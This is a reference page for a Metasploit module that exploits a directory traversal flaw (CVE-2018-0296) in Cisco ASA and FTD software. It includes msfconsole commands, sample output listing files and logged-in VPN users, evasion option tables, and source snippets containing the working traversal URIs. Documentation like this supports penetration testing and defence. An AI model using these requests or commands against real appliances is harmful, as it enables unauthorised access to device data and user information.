Cisco ASA Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/cisco_directory_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco ASA Directory Traversal
Module: auxiliary/scanner/http/cisco_directory_traversal
Source code: modules/auxiliary/scanner/http/cisco_directory_traversal.rb
Disclosure date: 2018-06-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-0296
This module exploits a directory traversal vulnerability in Cisco's Adaptive Security Appliance (ASA) software and Firepower Threat Defense (FTD) software. It lists the contents of Cisco's VPN web service which includes directories, files, and currently logged in users.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/scanner/http/cisco_directory_traversal
msf auxiliary(cisco_directory_traversal) > show targets
... a list of targets ...
msf auxiliary(cisco_directory_traversal) > set TARGET target-id
msf auxiliary(cisco_directory_traversal) > show options
... show and set options ...
msf auxiliary(cisco_directory_traversal) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits a directory traversal vulnerability on Cisco products running the Adaptive Security Appliance (ASA) software < v9.6 and Firepower Threat Defense (FTD) software < v6.2.3. Sending a specially crafted HTTP request results in viewing the contents of directories that would otherwise require authentication to view.
Vulnerable Application
Cisco ASA software < v9.6 and Cisco FTD software < v6.2.3 running on vulnerable appliances that can be found here
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/http/cisco_directory_traversal - Do:
set RHOSTS [IP] - Do:
run
Scenarios
Tested on Cisco ASA 5505 Series running ASA software v8.2
msf5 > use auxiliary/scanner/http/cisco_directory_traversal
msf5 auxiliary(scanner/http/cisco_directory_traversal) > set rhosts 192.168.1.1
rhosts => 192.168.1.1
msf5 auxiliary(scanner/http/cisco_directory_traversal) > run
[+] ///
[
{'name':'customization','size':0,'type':'1','mdate':1532972199}
,{'name':'bookmarks','size':0,'type':'1','mdate':1532972199}
,{'name':'locale','size':0,'type':'1','mdate':1532972197}
,{'name':'+CSCOT+','size':0,'type':'1','mdate':1532971872}
,{'name':'+CSCOCA+','size':0,'type':'1','mdate':1532971872}
,{'name':'+CSCOL+','size':0,'type':'1','mdate':1532971871}
,{'name':'admin','size':0,'type':'1','mdate':1532971871}
,{'name':'+CSCOU+','size':0,'type':'1','mdate':1532971871}
,{'name':'+CSCOE+','size':0,'type':'1','mdate':1532971871}
,{'name':'sessions','size':0,'type':'1','mdate':1532971871}
[+] ///sessions/
[
{'name':'32768','size':0,'type':'1','mdate':1533130976}
[*] Users logged in:
[+] cisco
[+] //+CSCOE+
[
{'name':'logo.gif','size':0,'type':'0','mdate':1532972377}
,{'name':'http_auth.html','size':3317,'type':'0','mdate':1532972377}
,{'name':'user_dialog.html','size':2145,'type':'0','mdate':1532972377}
,{'name':'localization_inc.lua','size':4495,'type':'0','mdate':1532972377}
,{'name':'portal_inc.lua','size':30888,'type':'0','mdate':1532972377}
,{'name':'include','size':0,'type':'1','mdate':1532971872}
,{'name':'nostcaccess.html','size':497,'type':'0','mdate':1532972377}
,{'name':'ask.html','size':2520,'type':'0','mdate':1532972377}
,{'name':'no_svc.html','size':1779,'type':'0','mdate':1532972377}
,{'name':'svc.html','size':2701,'type':'0','mdate':1532972377}
,{'name':'session.js','size':371,'type':'0','mdate':1532972377}
,{'name':'useralert.html','size':2526,'type':'0','mdate':1532972377}
,{'name':'ping.html','size':4296,'type':'0','mdate':1532972377}
,{'name':'help','size':0,'type':'1','mdate':1532971872}
,{'name':'app_index.html','size':14531,'type':'0','mdate':1532972377}
,{'name':'tlbr','size':1960,'type':'0','mdate':1532972377}
,{'name':'portal_forms.js','size':265,'type':'0','mdate':1532972377}
,{'name':'logon_forms.js','size':263,'type':'0','mdate':1532972377}
,{'name':'win.js','size':247,'type':'0','mdate':1532972377}
,{'name':'portal.css','size':4757,'type':'0','mdate':1532972377}
,{'name':'portal.js','size':369,'type':'0','mdate':1532972377}
,{'name':'sess_update.html','size':267,'type':'0','mdate':1532972377}
,{'name':'blank.html','size':255,'type':'0','mdate':1532972377}
,{'name':'noportal.html','size':261,'type':'0','mdate':1532972377}
,{'name':'portal_ce.html','size':7990,'type':'0','mdate':1532972377}
,{'name':'portal.html','size':10999,'type':'0','mdate':1532972377}
,{'name':'home','size':0,'type':'1','mdate':1532971872}
,{'name':'logon_custom.css','size':499,'type':'0','mdate':1532972377}
,{'name':'portal_custom.css','size':315,'type':'0','mdate':1532972377}
,{'name':'preview.html','size':259,'type':'0','mdate':1532972377}
,{'name':'session_expired','size':0,'type':'0','mdate':1532972377}
,{'name':'custom','size':0,'type':'1','mdate':1532971872}
,{'name':'portal_elements.html','size':33659,'type':'0','mdate':1532972377}
,{'name':'commonspawn.js','size':379,'type':'0','mdate':1532972377}
,{'name':'common.js','size':369,'type':'0','mdate':1532972377}
,{'name':'appstart.js','size':1777,'type':'0','mdate':1532972377}
,{'name':'appstatus','size':1904,'type':'0','mdate':1532972377}
,{'name':'relaymonjar.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relaymonocx.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relayjar.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relayocx.html','size':0,'type':'0','mdate':1532972377}
,{'name':'portal_img','size':0,'type':'1','mdate':1532971872}
,{'name':'color_picker.js','size':381,'type':'0','mdate':1532972377}
,{'name':'color_picker.html','size':269,'type':'0','mdate':1532972377}
,{'name':'cedhelp.html','size':2819,'type':'0','mdate':1532972377}
,{'name':'cedmain.html','size':5084,'type':'0','mdate':1532972377}
,{'name':'cedlogon.html','size':4147,'type':'0','mdate':1532972377}
,{'name':'cedportal.html','size':2762,'type':'0','mdate':1532972377}
,{'name':'cedsave.html','size':2167,'type':'0','mdate':1532972377}
,{'name':'cedf.html','size':51675,'type':'0','mdate':1532972377}
,{'name':'ced.html','size':51673,'type':'0','mdate':1532972377}
,{'name':'lced.html','size':2477,'type':'0','mdate':1532972377}
,{'name':'files','size':0,'type':'1','mdate':1532971871}
,{'name':'041235123432C2','size':1101,'type':'0','mdate':1532972377}
,{'name':'041235123432U2','size':464,'type':'0','mdate':1532972377}
,{'name':'pluginlib.js','size':375,'type':'0','mdate':1532972377}
,{'name':'shshim','size':1317,'type':'0','mdate':1532972377}
,{'name':'do_url','size':0,'type':'0','mdate':1532972377}
,{'name':'clear_cache','size':0,'type':'0','mdate':1532972377}
,{'name':'connection_failed_form','size':0,'type':'0','mdate':1532972377}
,{'name':'apcf','size':0,'type':'0','mdate':1532972377}
,{'name':'ucte_forbidden_data','size':0,'type':'0','mdate':1532972377}
,{'name':'ucte_forbidden_url','size':0,'type':'0','mdate':1532972377}
,{'name':'cookie','size':0,'type':'0','mdate':1532972377}
,{'name':'session_password.html','size':648,'type':'0','mdate':1532972377}
,{'name':'tunnel_linux.jnlp','size':1663,'type':'0','mdate':1532972377}
,{'name':'tunnel_mac.jnlp','size':1659,'type':'0','mdate':1532972377}
,{'name':'sdesktop','size':0,'type':'1','mdate':1532971871}
,{'name':'gp-gip.html','size':3097,'type':'0','mdate':1532972377}
,{'name':'auth.html','size':467,'type':'0','mdate':1532972377}
,{'name':'wrong_url.html','size':354,'type':'0','mdate':1532972377}
,{'name':'logon_redirect.html','size':1395,'type':'0','mdate':1532972377}
,{'name':'logout.html','size':31552,'type':'0','mdate':1532972377}
,{'name':'logon.html','size':31517,'type':'0','mdate':1532972377}
,{'name':'test_chargen','size':0,'type':'0','mdate':1532972377}
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/cisco_directory_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/cisco_directory_traversal
msf6 auxiliary(scanner/http/cisco_directory_traversal) > show info
Name: Cisco ASA Directory Traversal
Module: auxiliary/scanner/http/cisco_directory_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-06-06
Provided by:
Micha�� Bentkowski
Yassine Aboukir
Shelby Pace
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI / yes Path to Cisco installation
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability in Cisco's
Adaptive Security Appliance (ASA) software and Firepower Threat
Defense (FTD) software. It lists the contents of Cisco's VPN web
service which includes directories, files, and currently logged in
users.
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-0296
https://www.exploit-db.com/exploits/44956
Module Options
This is a complete list of options available in the scanner/http/cisco_directory_traversal auxiliary module:
msf6 auxiliary(scanner/http/cisco_directory_traversal) > show options
Module options (auxiliary/scanner/http/cisco_directory_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI / yes Path to Cisco installation
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/cisco_directory_traversal auxiliary module:
msf6 auxiliary(scanner/http/cisco_directory_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/cisco_directory_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/cisco_directory_traversal module can do:
msf6 auxiliary(scanner/http/cisco_directory_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/cisco_directory_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/cisco_directory_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not detect any sessions
Here is a relevant code snippet related to the "Could not detect any sessions" error message:
64:
65: def get_sessions(response)
66: session_nos = response.scan(/([0-9]{2,})/)
67:
68: if session_nos.empty?
69: print_status("Could not detect any sessions")
70: print("\n")
71: return
72: end
73:
74: print_good(response)
There are no users logged in currently
Here is a relevant code snippet related to the "There are no users logged in currently" error message:
95: user_ids.each { |id| print_good(id) }
96: print("\n")
97: return
98: end
99:
100: print_status("There are no users logged in currently")
101: end
102:
103: def run
104: file_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'
105: sessions_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'
Failed to reach Cisco web logon service
Here is a relevant code snippet related to the "Failed to reach Cisco web logon service" error message:
106: cscoe_uri = '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'
107:
108: paths = [file_uri, sessions_uri, cscoe_uri]
109:
110: unless is_accessible?
111: fail_with(Failure::NotFound, 'Failed to reach Cisco web logon service')
112: end
113:
114: paths.each { |path| list_files(path) }
115: end
116: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11500 Merged Pull Request: Add more checks to cisco_directory_traversal module
- #11107 Merged Pull Request: Clean out
unless not - #10412 Merged Pull Request: Add Cisco directory traversal auxiliary module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/networking/cisco_asa_extrabacon
- auxiliary/admin/networking/cisco_config
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/gather/cisco_pvc2300_download_config
- auxiliary/gather/cisco_rv320_config
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/voip/cisco_cucdm_speed_dials
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
Authors
- Michał Bentkowski
- Yassine Aboukir
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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